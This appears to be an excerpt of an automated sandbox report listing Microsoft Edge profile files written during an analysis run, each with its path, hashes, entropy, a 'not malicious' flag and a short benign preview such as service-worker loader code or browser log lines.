C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.579151152154011
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYg3wL:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFo
MD5:	648930118E498E3053D477CB63A83F8B
SHA1:	5F75B2E1A769F3714A860ED4CACAFE3621ADBDB6
SHA-256:	B8E4C87B4C8A537CE5D044567B31F6D59F38DA5B6F39EE57D3A2F5E566593026
SHA-512:	DCD418CBCD4C0F745AAB86EFBF4E96CB972D1C2A3B3C690E977CCBE58B4C6CC4D414C8DC4518760EE537536B018793C23F5F38C4A5D5A40E639382630C444E1F
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.386213430588661
Encrypted:	false
SSDEEP:	3072:/XSGKKXET9zwQyutecL/tiMqoRMbiqnyWccbt:JIzw6tZL/wYKi6nZ
MD5:	EDE754E63B5D61F2A77E62B34928FC2E
SHA1:	CDD30CB0586282287F240806166ABE7865B1D6A8
SHA-256:	448804EC0FDC66126852D520BE8E87F5D4B7E4E7CF3A6818628434303CE57DA7
SHA-512:	7749100E64671FC2929930B06DA0BDA52BFFBEBD7FE7FE6B70B84B8A8F66E0E0FEDDB9785CBEE2716D8F7E541BB5089602DB019B3B942CF43CFD0E12A584671E
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTp........,T.8..`,.....L`.....,T...`......L`......Rc...Z....exports...RcJ?.....module....Rc........define....Rb........amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..h..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:EvKcFE0Xl/ly/l9/lxE0tlla/lw2jHn:EScFzmO0gw2jH
MD5:	8D9BE575C7CAB708EBD81746B69B1CBD
SHA1:	4509E13D646D0487268F45F791A8AB3B3EE4ED95
SHA-256:	F5FDC3062B6508AF79707DD0917C384494ACBD8011ACCF6662D2B57864F1B16D
SHA-512:	B8E34C5C790F9087A79C452886B7B0009539C9A80CB438FF839ECDF4D6C671EF1A4E657A5126726D271E6A529BFC9C55C8B81692E10B13A3DE234DB1FD72BF9C
Malicious:	false
Preview:	@...1..oy retne.........................X....,...................F../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:EvKcFE0Xl/ly/l9/lxE0tlla/lw2jHn:EScFzmO0gw2jH
MD5:	8D9BE575C7CAB708EBD81746B69B1CBD
SHA1:	4509E13D646D0487268F45F791A8AB3B3EE4ED95
SHA-256:	F5FDC3062B6508AF79707DD0917C384494ACBD8011ACCF6662D2B57864F1B16D
SHA-512:	B8E34C5C790F9087A79C452886B7B0009539C9A80CB438FF839ECDF4D6C671EF1A4E657A5126726D271E6A529BFC9C55C8B81692E10B13A3DE234DB1FD72BF9C
Malicious:	false
Preview:	@...1..oy retne.........................X....,...................F../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF43d53.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:EvKcFE0Xl/ly/l9/lxE0tlla/lw2jHn:EScFzmO0gw2jH
MD5:	8D9BE575C7CAB708EBD81746B69B1CBD
SHA1:	4509E13D646D0487268F45F791A8AB3B3EE4ED95
SHA-256:	F5FDC3062B6508AF79707DD0917C384494ACBD8011ACCF6662D2B57864F1B16D
SHA-512:	B8E34C5C790F9087A79C452886B7B0009539C9A80CB438FF839ECDF4D6C671EF1A4E657A5126726D271E6A529BFC9C55C8B81692E10B13A3DE234DB1FD72BF9C
Malicious:	false
Preview:	@...1..oy retne.........................X....,...................F../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7677
Entropy (8bit):	3.3588858645995567
Encrypted:	false
SSDEEP:	192:u2nEOviNl6n7h1tstVb19Xp+RKi/DAp5SLl9iSrjDPa:Nh91q9Xp+8Lp5SLl9iSrHP
MD5:	E1DA4EAEF55FAEEB37B8C80310ADDCF5
SHA1:	EFEB013D01627F6D4413710D44B0D31982B4E68F
SHA-256:	D5D927D01E269D07314C89C37FA693A81B47A64FCB916A540A856D163F8D54F6
SHA-512:	564008FA5034872C5267A67145A3F31616F152792B0071B46258A6BE14D17D82B2B3D23411FB162C7A73AE3A57D85919F2CD96212E65870C735F272FE3E650E9
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................V}.b................next-map-id.1.Cnamespace-9c70fb9e_8d71_47f5_8333_091779c6c030-https://ntp.msn.com/.0t..}.................map-0-shd_sweeper.9{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.h.v.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.d.a.t.a.c.o.l.l.e.c.t.i.o.n.,.p.r.g.-.1.s.w.-.s.a.-.t.s.i.n.d.e.x.t.2.,.p.r.g.-.1.s.w.-.e.d.g.e.w.p.o.6.e.m.p.t.y.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.-.s.p.4.-.t.6.v.2.,.p.r.g.-.1.s.w.-.s.a.l.3.u.i.c.d.b.f.0.,.p.r.g.-.1.s.w.-.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.f.g.d.i.,.1.s.-.w.p.o.-.p.r.1.-.r.e.l.p.v.c.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.12952475868504
Encrypted:	false
SSDEEP:	6:HC5fpM+q2PN723oH+TcwtrQMxIFUt8YC5ieZZmw+YC5yqMVkwON723oH+TcwtrQq:cM+vVaYebCFUt8O6/+JMV5OaYebtJ
MD5:	32EC918B761741B67647178C630357E0
SHA1:	20599441C046DEAEEC1658FB859899D4E6F09FCB
SHA-256:	A581CCC9815C3482C89EE9B68AF2CCB25B64C3FDF6A9DAC1A92F1214B7B2A524
SHA-512:	90934F2A80C0FD576275C862D4F8870E7E8E3326D166D81F1FDDE637185C584D7079DD23B47DAA5C4F1D23B6E9E85B4AA46C06E43877523F125E26B38B1F6377
Malicious:	false
Preview:	2024/11/27-20:27:32.833 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-20:27:32.834 1d6c Recovering log #3.2024/11/27-20:27:32.837 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.12952475868504
Encrypted:	false
SSDEEP:	6:HC5fpM+q2PN723oH+TcwtrQMxIFUt8YC5ieZZmw+YC5yqMVkwON723oH+TcwtrQq:cM+vVaYebCFUt8O6/+JMV5OaYebtJ
MD5:	32EC918B761741B67647178C630357E0
SHA1:	20599441C046DEAEEC1658FB859899D4E6F09FCB
SHA-256:	A581CCC9815C3482C89EE9B68AF2CCB25B64C3FDF6A9DAC1A92F1214B7B2A524
SHA-512:	90934F2A80C0FD576275C862D4F8870E7E8E3326D166D81F1FDDE637185C584D7079DD23B47DAA5C4F1D23B6E9E85B4AA46C06E43877523F125E26B38B1F6377
Malicious:	false
Preview:	2024/11/27-20:27:32.833 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-20:27:32.834 1d6c Recovering log #3.2024/11/27-20:27:32.837 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377230853822480

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8438198812854996
Encrypted:	false
SSDEEP:	24:3QGsJMPD/wJpsAF4unxGtLp3X2amEtG1ChqWlvIaHblhUPJwIuSQKkOAM4:3QGsJMPD/wJzF4Lp2FEkChtlvIglhUPN
MD5:	214F48DF3D34F794225CE6FB2125D291
SHA1:	62FB7B21994F2218F2255754B24077EF2BF4E72C
SHA-256:	40D3EA7E0EA1EB09EC44BA8DA4F926865F9FC9F54479AE1231EFA23FBC844AEB
SHA-512:	7FA40002B0049D6065AE906194161C49E67F8DBF7B9C3FAC0B265FAF9ACF8D1EEB7C3728B60FFC69BABAE016EDE5AAC41B83E3520FC82EDA56EA8795F8F3CF4D
Malicious:	false
Preview:	SNSS.......\<$............\<$......."\<$............\<$........\<$........]<$........]<$.....!..]<$................................\<$.]<$.1..,...]<$.$...9c70fb9e_8d71_47f5_8333_091779c6c030...\<$........]<$.......H........\<$....\<$........................\<$.....................5..0...\<$.&...{46F3A197-DB49-410A-81B3-94975C835573}.....\<$........\<$...........................]<$............]<$.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x...........'......'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.098661599199091
Encrypted:	false
SSDEEP:	6:HC5z4q2PN723oH+Tcwt7Uh2ghZIFUt8YC5rF3JZmw+YC5rF3DkwON723oH+Tcwts:M4vVaYebIhHh2FUt8nNJ/+nND5OaYebs
MD5:	9E8CC161572A0FD20C448B1867F571E6
SHA1:	0FBCBB83A10F3CA506BA04D92D8BE326232B097A
SHA-256:	2F8A73BD10AA4FD5B986DFDF1EEE6AAE9DFA55A43FB9D6F8D8222F3E763164CB
SHA-512:	4A66F72D80890A1E593C861283E5224602552C804E1FA24C9B60EDF287B2B2C912345D4183843B548CF93660C820C559CB07509455072D251A4A63D36E2A56B8
Malicious:	false
Preview:	2024/11/27-20:27:31.709 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-20:27:31.710 1e64 Recovering log #3.2024/11/27-20:27:31.710 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.098661599199091
Encrypted:	false
SSDEEP:	6:HC5z4q2PN723oH+Tcwt7Uh2ghZIFUt8YC5rF3JZmw+YC5rF3DkwON723oH+Tcwts:M4vVaYebIhHh2FUt8nNJ/+nND5OaYebs
MD5:	9E8CC161572A0FD20C448B1867F571E6
SHA1:	0FBCBB83A10F3CA506BA04D92D8BE326232B097A
SHA-256:	2F8A73BD10AA4FD5B986DFDF1EEE6AAE9DFA55A43FB9D6F8D8222F3E763164CB
SHA-512:	4A66F72D80890A1E593C861283E5224602552C804E1FA24C9B60EDF287B2B2C912345D4183843B548CF93660C820C559CB07509455072D251A4A63D36E2A56B8
Malicious:	false
Preview:	2024/11/27-20:27:31.709 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-20:27:31.710 1e64 Recovering log #3.2024/11/27-20:27:31.710 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.235087085944376
Encrypted:	false
SSDEEP:	12:QrM+vVaYebvqBQFUt8tX/+FMV5OaYebvqBvJ:aVaYebvZg8t5OaYebvk
MD5:	0D3C22F643B31E1FA50F301783F7A807
SHA1:	70AB30D25D68CE69BFBAFBAA3A4E0C7E357E867C
SHA-256:	AC75C4C24AA88F4EEA65C9B0772F32BC3A6CAAAEFD5C632B2F5303B0038358AD
SHA-512:	DCF7351E09BAA842BA051D611226E929E97F5B78F55CD16566C0AB179EFA2024C5A067B1E894CA66145A54AB52BA03FCC18C9C0AA7EB39A0F8DBFD21674F5F87
Malicious:	false
Preview:	2024/11/27-20:27:32.886 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-20:27:32.887 1d6c Recovering log #3.2024/11/27-20:27:32.891 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.235087085944376
Encrypted:	false
SSDEEP:	12:QrM+vVaYebvqBQFUt8tX/+FMV5OaYebvqBvJ:aVaYebvZg8t5OaYebvk
MD5:	0D3C22F643B31E1FA50F301783F7A807
SHA1:	70AB30D25D68CE69BFBAFBAA3A4E0C7E357E867C
SHA-256:	AC75C4C24AA88F4EEA65C9B0772F32BC3A6CAAAEFD5C632B2F5303B0038358AD
SHA-512:	DCF7351E09BAA842BA051D611226E929E97F5B78F55CD16566C0AB179EFA2024C5A067B1E894CA66145A54AB52BA03FCC18C9C0AA7EB39A0F8DBFD21674F5F87
Malicious:	false
Preview:	2024/11/27-20:27:32.886 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-20:27:32.887 1d6c Recovering log #3.2024/11/27-20:27:32.891 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\35c42035-cd98-47b7-a6e8-2054860780cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5d7d7307-5b7e-480e-a8c6-f9b5a81b1441.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\641f4fca-a669-4dd1-9d4d-b1d45e7fbbc0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\78ecef72-b5f6-4e04-89ce-df093a081b58.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3c91d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
